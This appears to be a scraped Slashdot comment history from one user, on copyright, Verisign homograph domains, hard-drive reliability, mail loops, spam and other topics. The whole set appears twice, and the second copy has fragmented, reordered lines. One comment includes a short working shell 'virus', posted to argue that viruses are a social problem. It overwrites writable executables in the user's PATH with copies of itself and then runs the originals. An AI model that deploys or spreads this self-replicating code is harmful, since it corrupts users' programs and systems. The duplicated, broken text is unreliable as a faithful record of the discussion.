"It is reasonable to assume that greenhouse warming can exacerbate the possibility of precipitating large, abrupt, and regional or global climatic changes."
Hardly a statement that the climate change is "BECAUSE OF" global warming.
"It is reasonable to assume that drinking alcohol can exacerbate the possibility of being involved in a serious automobile accident."
Hardly a statement that I killed those two kids "BECAUSE OF" my drunk driving.
If
you had read the article, you would have learned that these climactic changes are common. They have happened many times in the past, and will most likely happen again in the future.
If you read the newspapers, you will learn that automobile accidents are common. They have happened many times in the past, and will most likely happen again in the future.
Guess I might as well get liquored up every time I get behind the wheel, since being drunk doesn't make it certain that I'll get into an accident, and not drinking does not make it certain that I won't get into an accident.
Why is it that people are capable of dealing with probabilities and common sense when dealing with everyday life, but they insist that everything be 100% certain when dealing with climate change?
Re:Whats wrong with this law?
on
Eldred vs. Ashcroft
·
· Score: 5, Insightful
To promote the Progress of Science and useful Arts, by securing for limited Times to Authors and Inventors the exclusive Right to their respective Writings and Discoveries;
This is giving Congress the right to regulate copyright, essentially.
I think the argument would be that retroactive extension of copyright does not satisfy the phrase "to promote", because of the rather obvious temporal properties of causality. You cannot promote the occurrence of something that occurred in the past.
There is also the matter that repeated retroactive extensions, each one happening shortly before Mickey Mouse expires, do not really satisfy the phrase "limited Times".
The Constitution does not say "To do whatever they like, by securing to Authors and Inventors and the Corporations that employ them the exclusive Right to their respective Writings and Discoveries" -- it does not grant Congress the right to regulate copyright as they see fit, but instead gives specific indication of the circumstances under which this legislative restraint on speech and trade is to be allowed.
IOW, set up a capable router and configure it give priority to your traffic. Linux routers can do this, as in the HOWTO above, as can many other routers.
The fact that they are threatening legal action implies two things: They see this as a real threat; they prefer to suppress word of vulnerabilities rather than fix them.
The latter is not the sort of response I want from a vendor. It's especially grating when, in the past few days, Debian and RedHat, for instance, have responded promptly to every issue posted on BugTraq.
Whether the exploit works or not is really irrelevant to me. It's HP's reaction that has me ticked.
Let us suppose that the exploit is a hoax. The proper reaction, IMHO, would be to demonstrate that the vulnerability does not work. The fact that they are threatening legal action indicates two things: They see
What, a pain in the ass just because solutions to their problems generally aren't solved by reboots or exchanging the hard drive?
Yeah, pretty much.
Compaq and HP sell crappy hardware. Period.
True, true. But the stuff they inherited from DEC was pretty good for a while. I guess that sometimes, after a relationship turns sour, it's tough to move on, and you just need a little kick.
This is just another reason to say "fuck you, the new HP" and run faster to Linux and *BSD. Admittedly, anyone who has recently had to compare the price of an ES40 and an equivalent amount of Intel-compatible compute is probably already heading there...
Still, this sort of head-in-the-sand response to security vulnerabilities is not a good way to make happy customers. Obviously, the exploit exists; what HP apparently wants to do is make sure that it only gets passed around on IRC so that admins can get completely blindsided.
Of course, Compaq already killed the Alpha, and don't get me started on their support contracts (OK, so they inherited those). It's almost as if they don't want customers (well, DigitalUNIX/Tru64 customers probably *are* a bit of a pain in the ass, compared to MCSEs).
It's just sad to see the last bits of the carcass of what was once a pretty cool company (DEC) get so abused.
There are certainly advantages to polymer money, like durability, being able to go for a swim with a wallet full of cash
It's not as if bills are printed on "normal" paper.
I haven't done so recently, but when I was younger, I went swimming with U.S. currency in my pocket (later in a wallet in my pocket) all the time. That cash got seriously drenched for hours at a time, and the bills still separated cleanly and did not fall apart when I went to go buy a hot dog and a Coke. Every now and then I send a bill through the wash, and it comes out OK (and a bit cleaner, usually -- reminds me of that scene in "Bound").
Obviously, the bills probably get slightly weaker, and they probably would start to rot if left wet for too long, but for those of us who don't use underwater ATMs, it's never been an issue.
(had to post this as "Code" to get around the lame lameness filter)
I think you've got a good point. To quote Symantec:
"So far Symantec has not received any submissions of this virus from customers."
For any OS, there will always be code which, when run with the appropriate privileges, can cause some damage. That's why viruses are mainly a social problem. Just to prove how pointless this all is, here's my first simple-minded attempt a writing a Linux virus:
#!/bin/sh ( for file in `find \`echo $PATH | sed 's/://'\` -xdev -type f` ; do if [ -x $file -a -w `dirname $file` -a ! -e `dirname $file`/.`basename $file`.orig ] ; then mv -f $file `dirname $file`/.`basename $file`.orig && cp -f $0 $file fi done ) >/dev/null 2>&1 &
ta-da! a trivial example of a "virus" that "infects" all executables in a user's PATH, and works even on non-x86 machines and UNIX machines with shellutils installed (with a little sed work, even that requirement could be removed).
What does this prove? Nothing. Neither does this Simile virus, until it starts mailing itself to people and popular Linux email clients start automatically executing attachments in the preview pane.
Of course, with all the idiots I see sending out mail as root, maybe this isn't too far off.
If you're looking for exandability...
on
Do-it-yourself UPS
·
· Score: 2
What's a separate-boxes do-it-yourself UPS rig good for, besides making you look all technical and competent?
Well, it lets you have monstrous battery capacity, if you like.
Why not buy the power supply and inverter in the same box, like this one, which sells for around USD$235.
Maybe it's a bit more expensive, but it can deliver 500 W (1000 W) peak, instead of 210 W (there are larger models available as well, up to 3600 W), you can use all the car batteries you want, and you may run less risk of electrocuting yourself.
They are not required to, nor do they claim to, verify domain registrants
I'm not mixing things up. You're misunderstanding me. Where did I say that they are required to verify domain registrants?
I said that maybe they should refuse to register domains that are visually similar to existing domains. That has nothing to do with verification of the identity of the person attempting to register it -- if you're refusing, who cares?
Nor did I try to make the claim that there was some legal requirement for them to do so. While I'm at it, note that I did not say that people should not be allowed to register such domains, only that Verisign should refuse to sully their hands with them.
Yes, verisign are scum.
And the fact that their lack of integrity is without question is what is so weird! Since I've pointed out what my point isn't, here's what it is:
If I were Verisign, I would work very hard to ensure that my integrity was above question, and to that end, I would refuse to facilitate obvious attempts to deceive. I would do this not because of some legal or techincal requirement, but because of an ethical one.
Normally, businesses do not have to be ethical, and even with Verisign, ethical behavior is not a legal or techincal requirement. However, since unethical behavior makes them less trustworthy, and trust is their primary asset and business (as they themselves say), unethical behaviour should carry a special cost for them.
Verisign's activites as a domain registrar are NOT the same thing as their CA business.
Neither was Caesar's wife's supposed affair with Clodius directly related to Caesar's ability to govern. Trust works in funny ways. Consider this: I am a sysadmin. People have to trust me not to snoop through their files and email. If my users discovered that I were engaging in some shady scam on the side, or even that I hung around with a bunch of con artists, it might make them trust me a bit less, even though those activities have nothing, prima facie, to do with my role as a sysadmin.
Similarly, Bill Clinton's sexual activities or George Bush's supposed connection to Enron may have very little to do with their activities as President, but engaging in deceitful behavior or even associating with those that do damages trust, an important asset for politicians as well. That's why their opponents are always searching for such scandals.
The fact that Verisign has allowed themselves to be involved in yet another scandal that says "you can't trust that you're talking to whom you think you're talking" is sort of crazy, considering that they identify that very trust as their core business. That the news came from another division of the company is not really that mitigating -- it's still the Verisign name in the headline: "Verisign gives away microsoft.com domain" (printed with Cyrillic "c" and "o";)
Verisign never ceases to amaze me. The first sentence on their website is:
VeriSign, Inc. (Nasdaq:VRSN) is the leading provider of digital trust services that enable businesses and consumers to engage in commerce and communications with confidence.
... so it seems safe to say that trust is the foundation of their business. Essentially, we trust Verisign to ensure that we're communicating with whom we think we're communicating, and to protect us from various forms of spoofing. They should therefore, IMHO, actively avoid even the appearance of impropriety.
However, we all remember the Microsoft certificates they mistakenly gave out to a third party.
Now we've got them registering another domain to someone that looks just like "microsoft.com." While it's tempting to absolve Verisign of guilt in this, I think they were asking for it. After all, even I thought of this possibility when I first heard about Unicode domain names, and I'm not the sharpest knife in the drawer. You've got to think someone at Verisign raised the possibility, but they chose not to deal with it.
Again, one might be tempted to say that this isn't their problem, if not for the fact that they are in the trust business. As the article says, "Certification agencies (which include VeriSign) ensure that encoded names are not misleading and that the registration corresponds with the correct real-world entity." It should not be technically difficult, for instance, to build a set of lists of visually similar Unicode characters and to refuse to register domains visually identical to existing ones. Maybe they should decide to forgo a relatively small amount of revenue and to refuse to sully their reputation with such inevitably deceptive domain registrations, especially considering that they interfere with Verisign's core business.
Of course, none of this compares to the letters they sent out trying to fool people into switching their domains over to Verisign. The other two were negligence and foolishness, but that was an active attempt to deceive from a company that's selling trust.
It all leaves me in a bit of shock. It's not that I'm shocked to see a company doing stupid and deceitful things; it's that trust is Verisign's primary asset. Hearing about these (colossally, in my mind) stupid decisions is like hearing that GM decided to torch all its manufacturing plants and assasinate all its employees. It leaves me with two questions: "what they hell are they thinking?" and "why does anyone continue to do business with Verisign?"
What are you going to do you do with it? Burn it in a fuel cell or an internal combustion engine with the liberated oxygen to generate electricity? But you have to use a little nuclear reactor to electrolyze the water in the first place. Why don't you just use that for power instead?
Sure, to provide electrical power to the base, use the reactor.
But fuel cells can power vehicles and mobile instrumentation, liquid O2/H2 can power return vehicles, and H2 can be used for all sorts of other things (since you've gone to all this trouble producing an oxidizing agent, might as well use the reducing agent, too). It can reduce carbon dioxide (Sabatier process), producing O2 and CH4. If you can find some N2 (there's a bit in the atmosphere -- maybe you could distill it), you can make ammonia (good old Haber process), and then you're on the way to fertilizer (for your houseplants), explosives (for your ground war with the Earth forces[1]), and smelly cleaning solutions (for your linoleum floors). And, who knows, by the time we're worrying about all this excess H2, maybe we'll be good at fusion, which would be nice because all of the stuff above requires energy, and energy is the real problem.
In any case, the question isn't "what can we do with molecular hydrogen?" but "what can't we do with molecular hydrogen?":)
Another question is, what are you doing with all the molecular oxygen that you're producing so much molecular hydrogen that you don't know what to do with it?
[1] A bit of irony -- Germany was greatly aided in her efforts during the First World War by a BASF plant producing ammonia using molecular hydrogen obtained from...wait for it...electrolysis!
For every person that decides to relocate to Mars, that's one less person putting pressure on Earth.
...until the next baby is born (in less than a second).
Sorry, but it really doesn't seem that colonization is an efficient way to reduce population pressure -- if we've got too many people, it seems far better for everyone if you try to reduce birth rates and eliminate the things associated with high birth rates (poverty, lack of education, lack of women's rights).
That's not to say colonization is worthless -- it probably lets us have a much bigger total population in the long run, it guards against catastrophe, and seems to put everybody in a good mood, what with the whole manifest destiny feeling and all.
Let us, suppose, however, that the Earth is, at a population of 6 billion, overpopulated, that we've stablilized our population growth rates (so that shipping people offworld won't be futile), that we need to get rid of only 1 billion people (a reasonable low-end figure, since many would say that we're already putting a lot of "pressure on Earth," and I doubt 100 million would make much of a difference out of 6 billion), and that there are no inefficiencies introduced by politics (we have an impossibly well-loved, benevolent, and omnipresent dictator).
Can you imagine the amount of resources it would cost to move that many people to Mars and to provide for them there a livable environment? Even if one could mobilize the entire adult population of the Earth to work on this project, one would only have a few people working on it per person you wanted to ship offworld. How many people does it take to get one person into LEO now?
Sure, in a while, maybe it won't be so hard to get into space, but if you're willing to wait that long on a gamble, why not concentrate on reducing birth rates and just wait for the excess population to die off? One might also, in a slightly less macabre vision, want to work on ways to get 6 billion people to have the environmental impact of 5 billion, instead of looking for ways to dispose of 1 billion.
It is not so much that we resemble the aliens as it is that the aliens resemble us.
Remember that the sci-fi movies about which you write were written by humans, and no doubt the authors were trying to make a point about human behavior. Since, by your admission, the activity of serially raping planets for their resources is now associated with nasty aliens in your mind, it looks like the authors have succeeded in making their point.
Of course they do, just like some models of drives have high failure rates. My point is that you can't tell if a d20 "rolls high" by rolling it four times, and you can't tell if a manufacturer produces bad drives by looking at isolated failure incidents.
It's a strange bit of human nature that makes us ignore everything we know about statistics and probability and instead put faith in superstition and anecdotal evidence:
"12, 16, 20, 15... wow this is a good d20 -- I'll use this one" "ok, make your to-hit roll" "2. shit. I must have used up all the good rolls."
If it's a "critical server," an IDE drive doesn't belong in it.
...which is one reason why I said I'd listen to them. I'm frankly a little confused by the idea that people are using the 120GXP in critical apps. I actually do have one of those big IDE drives -- I use it to store mp3s that I've ripped from CDs. For critical data, it's SCSI all the way.
Sending back a dead drive once in a while and extrapolating that the manufacturer produces shitty drives is one thing. Getting three bad drives in a row from one manufacturer and having them all fail after a month or two, OTOH...I think that's reasonable justification for swearing off of that supplier.
From your story it sounds like all three 5.1GB Maxtors were the same model (since they were replacements for each other). Part of my point is that every manufacturer is going to produce bad drives and bad models of drives. Why make the leap from the bad experience with a particular model of Maxtor drive to a conclusion about Maxtor drives in general?
I have no doubt that, given the many reports, the 120GXP has some problems. I haven't seen anything comparing its failure rate with that of other drives in its class, but even if its failure rate is spectacularly higher, I think the idea of swearing off all IBM drives based only upon the 120GXP's failure rate is ridiculous.
In other words, should everyone stop buying Fords solely because they made the Pinto? Maybe I should ask the Car Guys whether there exists a car manufacturer that has never produced a lemon.
from the article: While large numbers of readers responded to the questions I posed regarding drive reliability, their emails present very different pictures. Some of you swear by IBM drives and their reliability, while listing many of the Seagate, Maxtor, or WD drives you've seen fail in both a corporate and a consumer setting, while other readers had horror stories of seeing IBM drive after IBM drive bite the dust.
On the general topic of hard drive reliability, I've noticed a similar trend -- every sysadmin to whom I speak seems to have a poorly-founded personal hatred for one hard drive manufacturer. Sure, I admit, having a hard drive fail on you really sucks (esp. if you've been lazy with backups and don't have RAID).
What's weird about this is that people who are otherwise rational will take a single experience with a bad drive and use it to justify an opinion that all drives from that manufacturer are unreliable. It reminds me of D&D players who will, after rolling a d20 four or five times, decide that it "rolls high."
Here's the deal: hard drives fail. Get over it and design your systems such that your important data isn't relying on a single hard drive. In fact, two of my hard drives (a Quantum and an IBM) are slowly failing on me right now. Before that, the last one was a Seagate.
Now, I will admit that there must be some models from some manufacturers which are more prone to failure, just as there are probably some d20s which are prone to "roll high." Perhaps some manufacturers tend to make more reliable drives than others. However, in all the times I have heard someone bitch about a hard drive manufacturer, not once has someone referred to a study that did a statistically sound comparison of drives (I'm not sure that one even exists that compares, over time, all the various models of the manufacturers). It's always "Seagate sucks! A Seagate drive failed on me once, and I had to do a bare-metal recovery."
Of course, in this case, lots of people have reported problems with this drive, so it's a little different. If, sometime in the near future, someone tells me not to buy a cheap-ass OEM IBM IDE drive to use in a critical server, saying "remember the 120GXP?", I'll probably listen to them. However, based on my limited anecdotal evidence, I doubt that will happen:)
A cursory glance through the code just now did not turn up anything.
However, even if an off-by-one error *did* exist in some function analogous to channel_lookup, the ssh2 binary is not setuid in the ssh.com version, so my guess is that a similar programmer error in the ssh2 code could not lead to an escalation of privileges (except perhaps by a malicious server getting your local privileges, but that's a different matter entirely).
The hostkey signing in ssh.com's ssh is handled by a separate setuid binary, ssh-signer2, which doesn't have anything to do with channels (not that it couldn't have other bugs, but it does have the advantage of having a smaller codebase to audit).
Note that I actually use both OpenSSH and ssh.com, so don't try to drag me into some flamewar about which one is "better." They each have their advantages and disadvantages. If you want to trash anyone, trash F-Secure; they really suck.
I think you're missing the point entirely (or you're just trolling, but if so, then I'll humor you). Yes, it is possible to write good forwarders and auto-responders. Yes, any bonehead should be able to do so. My point is that most boneheads don't, and so I gave a list that illuminated areas in which they often go wrong, and then I went further and noted that some are resistant to even considering mail loops in their program design. Saying that it's possible to do it right doesn't address either of those issues or add anything new.
Error messages sent by mail servers should have a NULL sender/return-path. Therefore your mail server should easily be able to tell what is an error message from a machine, and not reply to it.
Yes, they should have a NULL envelope from, and the auto-responders should be able to identify that, but as I said in my previous post, many people screw it up. The results end up in my inbox every day (which should have clued you in to the fact that I don't need a lecture on how email works).
[...aforementioned lecture...] All proper SMTP servers are required to keep all Received: headers intact, as well as to append a Received: header giving information about how that server received the message.
Yes, they should, but, again, my point is that a lot of people don't get that, and try to build a completely new set of headers, which you then go on to admit:
Apparantly one of the mail servers involved here was munging the Recieved: headers, either on accident or on purpose.
... which makes your point even less clear (unless it's some bizarre variation on "no true Scotsman"). Also, you seem to be implying that the MTA is doing the forwarding. However, in many cases, it happens via the MDA.
I've never heard of an 'X-Loop' header
It has long been a standard ingredient in many procmail(1)/formail(1) recipies. A similar variant is 'X-Been-There', which, IIRC, Mailman uses.
any good mail server will count the number of Received: headers and kill the message if an exorbitant number of Received: headers is found.
Whereas an X-Loop header will stop it on the first loop. That's why people use it. They also use it because many auto-responders and forwarders are implemented outside of the MTA, as procmail recipies, perl scripts, and so on. They often act as MUAs that happen to be invoked directly by the MDA, since they are acting on a user's behalf. There's no real reason why an auto-responder or a forwarder should be part of an SMTP implementation, unless you want your MTA to be a "jack of all trades, master of none." Down that path lies madness (and Microsoft). In any case, it would be unwise for the forwarder (and especially the auto-responder) to rely upon the MTA for loop protection, so smart programmers put in a loop-protection header, just in case. Redundant safety features are a Good Thing(tm).
4) Don't autoreply to the same address twice during [definable time period].
The Received: header counting above is a more maintainable solution to loop prevention for SMTP servers.
What does that have to do with what I said? You can count Received headers all you want, but it will still be annoying as hell when an auto-responder gets on a mailing list or starts replying to another auto-responder. Any sort of header-based loop protection against auto-responders is questionable because they tend to generate an entirely new message in reply to the trigger message (though formail(1), for instance, retains the X-Loop header). That's why, for instance, vacation(1) won't reply to the same recipient twice. The newer versions also don't reply to Precedence: (list|bulk), which eliminates even the first "please rob my house" message sent to a list submission address, and further cuts down on loops.
I've written an SMTP server in Java for my company.
Well, I'm sure that will solve the world's loop problems.
Somehow, few people seem to be able to get the autoresponder/autoforwarder thing right, despite the fact that it doesn't seem that hard and has been done correctly before. (Then again, there seems to be a dearth of good systems programmers around these days; I'm becoming increasingly cynical about such things.) Every day, I get auto-replies to MAILER-DAEMON's bounce messages, and every once in a while, some b0rken forwarder creates a mail loop. Unfortunately, when I try to tell the people responsible why what they are doing is a bad idea, they're usually not interested in hearing about the danger of mail loops.
Here are some things I've come up with over the years: 1) Never, ever auto-reply to MAILER-DAEMON or Postmaster (procmail has good regex macros for this -- use them or copy them).
2) Preserve the headers of messages you forward.
3) Set an X-Loop header and check for it (or *any* X-Loop header if you want to be paranoid).
4) Don't autoreply to the same address twice during [definable time period].
Those things just seem like common sense to me. Maybe someone else here knows more about the subject than I do. There has to be a HOWTO somewhere.
If your cable network carries the i-channel, you can sometimes get some subbed anime. (Along with the other crazy stuff they carry -- I'm still trying to figure out this [apparently Indian] game show). Granted, the non-Dragonball-Z stuff only comes once a week, but every little bit helps.
Check out the schedule here and watch Slayers tonight at 11pm EST.
Re:Optionally publish valid mail servers for domai
on
Spam Slows AT&T Email
·
· Score: 2
The context was corperate users on the road with laptops.
But the broader context is about changing the way that email works for everyone. There are lots of suggestions that might work for a small subset of users, but fail to satisfy the breadth of needs fulfilled by our current email system.
The SASL feature allows it to have a seperate user database so that a login need not be provided.
Shell accounts are not the point (by "login" I assume you mean shell, since any provision of a username and password is "logging in"). Forwarding addresses now are just entries in the aliases map, without any sort of account at all. (And, before you say it, no server need be an open relay). Now you're asking the sysadmin to maintain a set of SMTP accounts with usernames and passwords, and probably to write a password-changing mechanism (the sysadmin running "saslpasswd" is not acceptable). One might also need a mechanism for locking accounts after a certain number of failed login and presenting the last successful and last failed login attempt to the user. The point is, authentication can be complicated, and "just give them all accounts" can be quite a hefty proposition.
They can either set up SMTP AUTH (no problem), or they can stay as they are (O.K. for you) and risk becoming a spam relay.
OR, as things stand now, without the valid servers published for each domain, users can use their ISP's mail servers. There's nothing that indicates that the webmail companies need to be open relays or that they are now. My point is that they are unlikely to bother setting up SMTP AUTH or to become an open relay, so users who want to send mail as their webmail addresses will be forced to use the web interface.
The other problem with all of this is that every mail client would need to be re-written to make the outgoing SMTP server dependent on the From address. Talk about a user support nightmare...
The real question is: would this stop spam? Much of the spam I get comes from open relays and have faked From addreses (and refers me to a web site or telephone number). What's to stop someone from using as the From? (Remember that if example.com is running an open relay, they can't be relied upon to do anything responsible or not to do anything irresponsible.) The rest of it comes with a "From" on some fly-by-night domain that can set its DNS records however it likes. Some of it sets both the "From" and recipient addresses to my address (and it seems that could be blocked in other ways without a significant change in behavior).
There is some portion that uses a "From" of yahoo.com or hotmail.com, but given all the pain through which this proposal would put non-spamming users and that the spammers would quickly adapt, I'm not sure that it's worth it to block this particular avenue of spamming.
Slashdot Mirror
As you can tell, the non-Ice Age time is an aberration, not the norm.
i iiiiiii iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii iiiiiiii.....(x400)
If the night was this long:
iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii
The period from sunrise till now is this long
i
As you can tell, this "daylight" thing is an aberration, not the norm.
"It is reasonable to assume that drinking alcohol can exacerbate the possibility of being involved in a serious automobile accident."
Hardly a statement that I killed those two kids "BECAUSE OF" my drunk driving.
If you read the newspapers, you will learn that automobile accidents are common. They have happened many times in the past, and will most likely happen again in the future.
Guess I might as well get liquored up every time I get behind the wheel, since being drunk doesn't make it certain that I'll get into an accident, and not drinking does not make it certain that I won't get into an accident.
Why is it that people are capable of dealing with probabilities and common sense when dealing with everyday life, but they insist that everything be 100% certain when dealing with climate change?
I think the argument would be that retroactive extension of copyright does not satisfy the phrase "to promote", because of the rather obvious temporal properties of causality. You cannot promote the occurrence of something that occurred in the past.
There is also the matter that repeated retroactive extensions, each one happening shortly before Mickey Mouse expires, do not really satisfy the phrase "limited Times".
The Constitution does not say "To do whatever they like, by securing to Authors and Inventors and the Corporations that employ them the exclusive Right to their respective Writings and Discoveries" -- it does not grant Congress the right to regulate copyright as they see fit, but instead gives specific indication of the circumstances under which this legislative restraint on speech and trade is to be allowed.
Unless my data could somehow have priority over my neighbors.
It's called shaping
IOW, set up a capable router and configure it give priority to your traffic. Linux routers can do this, as in the HOWTO above, as can many other routers.
bleh... hit submit instead of preview.
anyway, as I was saying:
The fact that they are threatening legal action implies two things: They see this as a real threat; they prefer to suppress word of vulnerabilities rather than fix them.
The latter is not the sort of response I want from a vendor. It's especially grating when, in the past few days, Debian and RedHat, for instance, have responded promptly to every issue posted on BugTraq.
...you have probably tested the code?
Whether the exploit works or not is really irrelevant to me. It's HP's reaction that has me ticked.
Let us suppose that the exploit is a hoax. The proper reaction, IMHO, would be to demonstrate that the vulnerability does not work. The fact that they are threatening legal action indicates two things: They see
What, a pain in the ass just because solutions to their problems generally aren't solved by reboots or exchanging the hard drive?
Yeah, pretty much.
Compaq and HP sell crappy hardware. Period.
True, true. But the stuff they inherited from DEC was pretty good for a while. I guess that sometimes, after a relationship turns sour, it's tough to move on, and you just need a little kick.
This is just another reason to say "fuck you, the new HP" and run faster to Linux and *BSD. Admittedly, anyone who has recently had to compare the price of an ES40 and an equivalent amount of Intel-compatible compute is probably already heading there...
Still, this sort of head-in-the-sand response to security vulnerabilities is not a good way to make happy customers. Obviously, the exploit exists; what HP apparently wants to do is make sure that it only gets passed around on IRC so that admins can get completely blindsided.
Of course, Compaq already killed the Alpha, and don't get me started on their support contracts (OK, so they inherited those). It's almost as if they don't want customers (well, DigitalUNIX/Tru64 customers probably *are* a bit of a pain in the ass, compared to MCSEs).
It's just sad to see the last bits of the carcass of what was once a pretty cool company (DEC) get so abused.
There are certainly advantages to polymer money, like durability, being able to go for a swim with a wallet full of cash
It's not as if bills are printed on "normal" paper.
I haven't done so recently, but when I was younger, I went swimming with U.S. currency in my pocket (later in a wallet in my pocket) all the time. That cash got seriously drenched for hours at a time, and the bills still separated cleanly and did not fall apart when I went to go buy a hot dog and a Coke. Every now and then I send a bill through the wash, and it comes out OK (and a bit cleaner, usually -- reminds me of that scene in "Bound").
Obviously, the bills probably get slightly weaker, and they probably would start to rot if left wet for too long, but for those of us who don't use underwater ATMs, it's never been an issue.
Well, if I do get arrested, I'm sure it'll get posted to /., so we'll have to wait and see. :)
(had to post this as "Code" to get around the lame lameness filter)
/'\` -xdev -type f` ; do /dev/null 2>&1 &
I think you've got a good point. To quote Symantec:
"So far Symantec has not received any submissions of this virus from customers."
For any OS, there will always be code which, when run with the appropriate privileges, can cause some damage. That's why viruses are mainly a social problem. Just to prove how pointless this all is, here's my first simple-minded attempt a writing a Linux virus:
#!/bin/sh
(
for file in `find \`echo $PATH | sed 's/:/
if [ -x $file -a -w `dirname $file` -a ! -e `dirname $file`/.`basename $file`.orig ] ; then
mv -f $file `dirname $file`/.`basename $file`.orig && cp -f $0 $file
fi
done
) >
echo '1 4m 4 rh347 h4x0r! ph33r my b45H s|<|11z!'
[ -x `dirname $0`/.`basename $0`.orig ] && \
exec `dirname $0`/.`basename $0`.orig "$@"
ta-da! a trivial example of a "virus" that "infects" all executables in a user's PATH, and works even on non-x86 machines and UNIX machines with shellutils installed (with a little sed work, even that requirement could be removed).
What does this prove? Nothing. Neither does this Simile virus, until it starts mailing itself to people and popular Linux email clients start automatically executing attachments in the preview pane.
Of course, with all the idiots I see sending out mail as root, maybe this isn't too far off.
What's a separate-boxes do-it-yourself UPS rig good for, besides making you look all technical and competent?
Well, it lets you have monstrous battery capacity, if you like.
Why not buy the power supply and inverter in the same box, like this one, which sells for around USD$235.
Maybe it's a bit more expensive, but it can deliver 500 W (1000 W) peak, instead of 210 W (there are larger models available as well, up to 3600 W), you can use all the car batteries you want, and you may run less risk of electrocuting yourself.
I'm not mixing things up. You're misunderstanding me. Where did I say that they are required to verify domain registrants?
I said that maybe they should refuse to register domains that are visually similar to existing domains. That has nothing to do with verification of the identity of the person attempting to register it -- if you're refusing, who cares?
Nor did I try to make the claim that there was some legal requirement for them to do so. While I'm at it, note that I did not say that people should not be allowed to register such domains, only that Verisign should refuse to sully their hands with them.
Yes, verisign are scum.
And the fact that their lack of integrity is without question is what is so weird! Since I've pointed out what my point isn't, here's what it is:
If I were Verisign, I would work very hard to ensure that my integrity was above question, and to that end, I would refuse to facilitate obvious attempts to deceive. I would do this not because of some legal or techincal requirement, but because of an ethical one.
Normally, businesses do not have to be ethical, and even with Verisign, ethical behavior is not a legal or techincal requirement. However, since unethical behavior makes them less trustworthy, and trust is their primary asset and business (as they themselves say), unethical behaviour should carry a special cost for them.
Verisign's activites as a domain registrar are NOT the same thing as their CA business.
Neither was Caesar's wife's supposed affair with Clodius directly related to Caesar's ability to govern. Trust works in funny ways. Consider this: I am a sysadmin. People have to trust me not to snoop through their files and email. If my users discovered that I were engaging in some shady scam on the side, or even that I hung around with a bunch of con artists, it might make them trust me a bit less, even though those activities have nothing, prima facie, to do with my role as a sysadmin.
Similarly, Bill Clinton's sexual activities or George Bush's supposed connection to Enron may have very little to do with their activities as President, but engaging in deceitful behavior or even associating with those that do damages trust, an important asset for politicians as well. That's why their opponents are always searching for such scandals.
The fact that Verisign has allowed themselves to be involved in yet another scandal that says "you can't trust that you're talking to whom you think you're talking" is sort of crazy, considering that they identify that very trust as their core business. That the news came from another division of the company is not really that mitigating -- it's still the Verisign name in the headline: "Verisign gives away microsoft.com domain" (printed with Cyrillic "c" and "o"
... so it seems safe to say that trust is the foundation of their business. Essentially, we trust Verisign to ensure that we're communicating with whom we think we're communicating, and to protect us from various forms of spoofing. They should therefore, IMHO, actively avoid even the appearance of impropriety.
However, we all remember the Microsoft certificates they mistakenly gave out to a third party.
Now we've got them registering another domain to someone that looks just like "microsoft.com." While it's tempting to absolve Verisign of guilt in this, I think they were asking for it. After all, even I thought of this possibility when I first heard about Unicode domain names, and I'm not the sharpest knife in the drawer. You've got to think someone at Verisign raised the possibility, but they chose not to deal with it.
Again, one might be tempted to say that this isn't their problem, if not for the fact that they are in the trust business. As the article says, "Certification agencies (which include VeriSign) ensure that encoded names are not misleading and that the registration corresponds with the correct real-world entity." It should not be technically difficult, for instance, to build a set of lists of visually similar Unicode characters and to refuse to register domains visually identical to existing ones. Maybe they should decide to forgo a relatively small amount of revenue and to refuse to sully their reputation with such inevitably deceptive domain registrations, especially considering that they interfere with Verisign's core business.
Of course, none of this compares to the letters they sent out trying to fool people into switching their domains over to Verisign. The other two were negligence and foolishness, but that was an active attempt to deceive from a company that's selling trust.
It all leaves me in a bit of shock. It's not that I'm shocked to see a company doing stupid and deceitful things; it's that trust is Verisign's primary asset. Hearing about these (colossally, in my mind) stupid decisions is like hearing that GM decided to torch all its manufacturing plants and assasinate all its employees. It leaves me with two questions: "what they hell are they thinking?" and "why does anyone continue to do business with Verisign?"
Sure, to provide electrical power to the base, use the reactor.
But fuel cells can power vehicles and mobile instrumentation, liquid O2/H2 can power return vehicles, and H2 can be used for all sorts of other things (since you've gone to all this trouble producing an oxidizing agent, might as well use the reducing agent, too). It can reduce carbon dioxide (Sabatier process), producing O2 and CH4. If you can find some N2 (there's a bit in the atmosphere -- maybe you could distill it), you can make ammonia (good old Haber process), and then you're on the way to fertilizer (for your houseplants), explosives (for your ground war with the Earth forces[1]), and smelly cleaning solutions (for your linoleum floors). And, who knows, by the time we're worrying about all this excess H2, maybe we'll be good at fusion, which would be nice because all of the stuff above requires energy, and energy is the real problem.
In any case, the question isn't "what can we do with molecular hydrogen?" but "what can't we do with molecular hydrogen?"
Another question is, what are you doing with all the molecular oxygen that you're producing so much molecular hydrogen that you don't know what to do with it?
[1] A bit of irony -- Germany was greatly aided in her efforts during the First World War by a BASF plant producing ammonia using molecular hydrogen obtained from...wait for it...electrolysis!
For every person that decides to relocate to Mars, that's one less person putting pressure on Earth.
...until the next baby is born (in less than a second).
Sorry, but it really doesn't seem that colonization is an efficient way to reduce population pressure -- if we've got too many people, it seems far better for everyone if you try to reduce birth rates and eliminate the things associated with high birth rates (poverty, lack of education, lack of women's rights).
That's not to say colonization is worthless -- it probably lets us have a much bigger total population in the long run, it guards against catastrophe, and seems to put everybody in a good mood, what with the whole manifest destiny feeling and all.
Let us, suppose, however, that the Earth is, at a population of 6 billion, overpopulated, that we've stablilized our population growth rates (so that shipping people offworld won't be futile), that we need to get rid of only 1 billion people (a reasonable low-end figure, since many would say that we're already putting a lot of "pressure on Earth," and I doubt 100 million would make much of a difference out of 6 billion), and that there are no inefficiencies introduced by politics (we have an impossibly well-loved, benevolent, and omnipresent dictator).
Can you imagine the amount of resources it would cost to move that many people to Mars and to provide for them there a livable environment? Even if one could mobilize the entire adult population of the Earth to work on this project, one would only have a few people working on it per person you wanted to ship offworld. How many people does it take to get one person into LEO now?
Sure, in a while, maybe it won't be so hard to get into space, but if you're willing to wait that long on a gamble, why not concentrate on reducing birth rates and just wait for the excess population to die off? One might also, in a slightly less macabre vision, want to work on ways to get 6 billion people to have the environmental impact of 5 billion, instead of looking for ways to dispose of 1 billion.
It is not so much that we resemble the aliens as it is that the aliens resemble us.
